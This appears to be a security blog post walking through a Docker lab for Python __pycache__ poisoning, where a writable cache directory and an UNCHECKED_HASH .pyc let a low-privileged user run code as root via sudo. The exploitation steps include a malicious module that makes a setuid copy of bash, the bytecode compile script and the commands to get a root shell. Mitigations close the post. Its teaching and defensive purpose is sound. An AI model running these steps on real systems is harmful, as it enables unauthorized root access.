Post

Python __pycache__ Poisoning Privilege Escalation (UNCHECKED_HASH)

A privilege escalation technique that abuses Python’s unchecked-hash bytecode caching mechanism to execute attacker-controlled .pyc files with elevated privileges when a writable __pycache__ directory is trusted by a root-executed Python process.

Python __pycache__ Poisoning Privilege Escalation (UNCHECKED_HASH)

Python __pycache__ Poisoning Privilege Escalation (UNCHECKED_HASH)

1. Explanation

What is this method?

Python automatically compiles imported modules into bytecode (.pyc) files and stores them inside a __pycache__ directory.
When a Python script imports a module, Python loads .pyc files if they are present and considered valid for the interpreter version and invalidation mode..

Starting from PEP 552, Python introduced multiple bytecode invalidation modes. One of them is UNCHECKED_HASH, where Python does not verify whether the bytecode matches the source file at runtime.

If an attacker can:

  • Write to a __pycache__ directory
  • Influence which module is imported
  • Trigger execution of the Python program with elevated privileges

they can execute arbitrary bytecode as root.


Requirements

  • sudo permission to execute a Python script as root
  • World-writable or attacker-writable __pycache__ directory
  • Knowledge of the Python version used (for correct .pyc naming)
  • Ability to place a malicious .pyc file

Impact

  • Full root privilege escalation
  • No kernel exploit required
  • Works even if source code is later deleted or modified
  • Difficult to detect via traditional monitoring

Why this is dangerous

.pyc files are executable code, not harmless cache artifacts.
Insecure permissions turn Python’s performance feature into a privilege escalation vector.


2. Lab Setup Using Docker

This lab is intentionally vulnerable and designed for learning purposes.

Build the lab

1
docker build -t pycache-privesc-lab .

Run the container

1
docker run -it --rm pycache-privesc-lab

Users inside the lab

  • root
  • dollarboysushil (low-privileged user)

The user dollarboysushil can run a Python script as root using sudo.


Verify sudo permissions

1
sudo -l

alt text

Expected output:

1
(root) NOPASSWD: /usr/bin/python3.12 /opt/pycache-lab/runner.py

3. Exploitation (Step-by-Step)

Step 1: Identify the import

Inspect the privileged script:

1
cat /opt/pycache-lab/runner.py

alt text

You will see an imported module:

1
from helper_module import do_work

Step 2: Check permissions on pycache

1
ls -la /opt/pycache-lab/__pycache__

If writable, exploitation is possible.

alt text


Step 3: Create malicious module (helper_module.py)

1
2
3
4
import os

def do_work():
    os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")

alt text


Step 4: Compile unchecked bytecode

1
2
3
4
5
6
7
8
9
10
import py_compile
from py_compile import PycInvalidationMode

py_compile.compile(
    "helper_module.py",
    cfile="helper_module.cpython-312.pyc",
    invalidation_mode=PycInvalidationMode.UNCHECKED_HASH
)

print("[+] Unchecked-hash pyc generated successfully")

Purpose of this Code (High-level)

This snippet compiles a Python source file into bytecode (.pyc) in a way that tells Python:

“Trust this bytecode forever. Do not check whether the source file matches it.” That’s exactly what makes __pycache__ poisoning possible.

alt text

Generating malicious pyc file

1
python3.12 compile_pyc.py

alt text


Step 5: Poison the __pycache__

1
cp helper_module.cpython-312.pyc /opt/pycache-lab/__pycache__/

alt text


Step 6: Trigger root execution

1
sudo /usr/bin/python3.12 /opt/pycache-lab/runner.py

alt text


Step 7: Gain root shell

1
/tmp/rootbash -p

alt text


4. Remedies and Mitigations

  • Never allow __pycache__ directories to be writable by non-root users
  • Avoid running Python scripts with sudo
  • Use python -B to disable bytecode generation
  • Enforce strict file permissions on application directories
  • Monitor for unexpected .pyc files
  • Use virtual environments with controlled ownership

Final Notes

This vulnerability is a logic and configuration flaw, not a Python bug.
It highlights how small permission mistakes can completely undermine system security.


Author:
Sushil Poudel
Red Team / Offensive Security

This post is licensed under CC BY 4.0 by the author.